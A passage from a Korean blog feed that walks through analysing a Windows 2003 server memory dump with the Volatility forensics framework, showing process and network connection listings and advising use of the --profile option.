&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x888e1500 inetinfo.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1396 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;8 &amp;nbsp; &amp;nbsp;176 2012-04-30 02:07:06 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x888bf360 msftesql.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1456 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;6 &amp;nbsp; &amp;nbsp;412 2012-04-30 02:07:07 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x888b7708 sqlservr.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1492 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 47 &amp;nbsp; &amp;nbsp;570 2012-04-30 02:07:07 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x886c9020 msmdsrv.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1516 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 19 &amp;nbsp; &amp;nbsp;642 2012-04-30 02:07:07 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x886bd330 NeoBizMail_POP. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1560 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 11 &amp;nbsp; &amp;nbsp;208 2012-04-30 02:07:08 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x883f8d88 NeoBizMail_SMTP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 12 &amp;nbsp; &amp;nbsp;315 2012-04-30 02:07:08 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x883ced88 NeoBiz_Admin.ex &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1700 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;6 &amp;nbsp; &amp;nbsp;127 2012-04-30 02:07:09 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88388d88 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1840 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;2 &amp;nbsp; &amp;nbsp; 52 2012-04-30 02:07:10 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x886b57a0 ReportingServic &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1856 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 25 &amp;nbsp; &amp;nbsp;531 2012-04-30 02:07:10 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88349020 sqlwriter.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1996 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;3 &amp;nbsp; &amp;nbsp; 93 2012-04-30 02:07:12 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88335770 wmiapsrv.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2140 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;6 &amp;nbsp; &amp;nbsp;182 2012-04-30 02:07:13 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x882c2020 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2316 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 15 &amp;nbsp; &amp;nbsp;167 2012-04-30 02:07:17 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x8820ed88 SQLAGENT90.EXE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2504 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 13 &amp;nbsp; &amp;nbsp;420 2012-04-30 02:07:22 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88208b90 wmiprvse.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2548 &amp;nbsp; &amp;nbsp;588 &amp;nbsp; &amp;nbsp; &amp;nbsp;5 &amp;nbsp; &amp;nbsp;177 2012-04-30 02:07:24 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x882b55e8 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2772 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 20 &amp;nbsp; &amp;nbsp;172 2012-04-30 02:07:36 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x8814a020 alg.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2960 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; &amp;nbsp;5 &amp;nbsp; &amp;nbsp; 94 2012-04-30 02:07:38 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x8812f020 explorer.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3116 &amp;nbsp; 3084 &amp;nbsp; &amp;nbsp; 11 &amp;nbsp; &amp;nbsp;456 2012-04-30 02:07:40 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x888b3b18 ClamTray.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3476 &amp;nbsp; 3116 &amp;nbsp; &amp;nbsp; &amp;nbsp;4 &amp;nbsp; &amp;nbsp; 94 2012-04-30 02:07:54 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88397d88 acasp.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3512 &amp;nbsp; 3116 &amp;nbsp; &amp;nbsp; &amp;nbsp;9 &amp;nbsp; &amp;nbsp;225 2012-04-30 02:07:55 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88385b80 AhnSD.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3536 &amp;nbsp; 3116 &amp;nbsp; &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; 58 2012-04-30 02:07:55 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x88372790 ctfmon.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3568 &amp;nbsp; 3116 &amp;nbsp; &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; 92 2012-04-30 02:07:56 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x882ae9d8 AYAgent.aye &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3660 &amp;nbsp; 3532 &amp;nbsp; &amp;nbsp; 10 &amp;nbsp; &amp;nbsp;184 2012-04-30 02:08:02 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889dd020 svchost.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3956 &amp;nbsp; &amp;nbsp;424 &amp;nbsp; &amp;nbsp; 17 &amp;nbsp; &amp;nbsp;238 2012-04-30 02:12:02 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x889ec2a0 afmain.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2740 &amp;nbsp; 3512 &amp;nbsp; &amp;nbsp; &amp;nbsp;2 &amp;nbsp; &amp;nbsp;174 2012-04-30 02:13:37 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x880eeb60 wmiprvse.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1100 &amp;nbsp; &amp;nbsp;588 &amp;nbsp; &amp;nbsp; &amp;nbsp;8 &amp;nbsp; &amp;nbsp;145 2012-04-30 02:19:24 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x89dd2020 conime.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3500 &amp;nbsp; 3324 &amp;nbsp; &amp;nbsp; &amp;nbsp;2 &amp;nbsp; &amp;nbsp; 61 2012-04-30 02:20:52 &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;0x880ee658 FTK Imager.exe &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3784 &amp;nbsp; 3116 &amp;nbsp; &amp;nbsp; &amp;nbsp;9 &amp;nbsp; &amp;nbsp;335 2012-04-30 02:21:43&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
프로파일을 지정하니 프로세스 목록이 제대로 보입니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
네트워크 커넥션도 확인해봤습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&lt;b&gt;root@LUCKYSTRIKE:/mem_dump# python /data/forensics/volatility_2.1_alpha/vol.py -f memdump.mem &lt;span style=&quot;color: red;&quot;&gt;--profile=Win2003SP2x86 connscan&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;&amp;nbsp;Offset(P) &amp;nbsp;Local Address &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Remote Address &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Pid &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;---------- ------------------------- ------------------------- ------&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08136c68 127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1056 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1492&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08136e38 127.0.0.1:1056 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x0815fa10 127.0.0.1:1057 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08262e38 127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1053 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1492&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x0826d360 127.0.0.1:1050 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1856&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08273ab8 127.0.0.1:1046 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1856&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08273cc8 127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1051 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1492&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08277e38 127.0.0.1:1047 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1560&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08279008 127.0.0.1:1044 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1560&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x0827b680 127.0.0.1:1043 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1856&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x082d3a78 127.0.0.1:1053 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1560&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08301440 127.0.0.1:1036 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1560&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x0830c818 127.0.0.1:1042 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x0832b270 127.0.0.1:1048 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x0832b648 127.0.0.1:1045 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08356da0 127.0.0.1:1039 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08370c30 127.0.0.1:1035 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x08395e38 127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1055 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1492&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x0839f900 127.0.0.1:1055 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1660&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x088e27b8 127.0.0.1:1433 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;127.0.0.1:1057 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1492&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x089cd380 0.0.0.0:1061 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;211.233.80.46:80 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 808&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-size: x-small;&quot;&gt;0x09ccd5c8 0.0.0.0:0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0.0.0.0:0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Windows 2003 서버의 모메리 분석 전에 imageinfo 플러그인으로 꼭 확인하셔야하며 이미지 정보 확인 후 Volatility 명령 실행시에도 --profile 옵션을 주셔서 명령을 실행하셔야 합니다. 모든 플러그인을 확인해보진 않았지만 일부 플러그인은 --profile 옵션을 주지 않아도 실행이 되지만 일부 플러그인은 실행이 되지 않았습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
간단하게 프로세스 관련 플러그인과 네트워크 관련 플러그인 확인해보니 네트워크 관련 플러그인(sockscan, connections, connscan 등)은 --profile 옵션 없이 명령이 잘 실행되었지만 프로세스 관련 플러그인(pslist, pstree 등)은 --profile 옵션 없이 명령이 실행되지 않았습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
대부분 스크립트 작성해서 하실테니 --profile 옵션을 사용하시는게 그리 불편하진 않으실겁니다.&lt;/div&gt;
&lt;div&gt;
스크립트 작성시에는 아래 SANS의 Memory Forensics Cheat Sheet을 활용하시면 되겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://blogs.sans.org/computer-forensics/files/2012/04/Memory-Forensics-Cheat-Sheet-v1.pdf&quot;&gt;http://blogs.sans.org/computer-forensics/files/2012/04/Memory-Forensics-Cheat-Sheet-v1.pdf&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
물론 -h 옵션을 통해 확인되는 플러그인들을 하나씩 모두 테스트해보셔서 분석시 자신이 필요한 플러그인을 찾아내시는 것도 좋은 방법이라 생각됩니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
thanks to &lt;a href=&quot;http://feedbeef.blogspot.com/&quot; target=&quot;_blank&quot;&gt;n0fate&lt;/a&gt; ;-)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/5315406509470549917/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2012/05/volatility-windows-2003.html#comment-form' title='1개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/5315406509470549917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/5315406509470549917'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2012/05/volatility-windows-2003.html' title='Volatility를 이용한 Windows 2003 메모리 덤프 분석'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-909493964763832971</id><published>2012-04-29T13:33:00.002+09:00</published><updated>2012-11-30T12:05:49.654+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="auto_append_file"/><category scheme="http://www.blogger.com/atom/ns#" 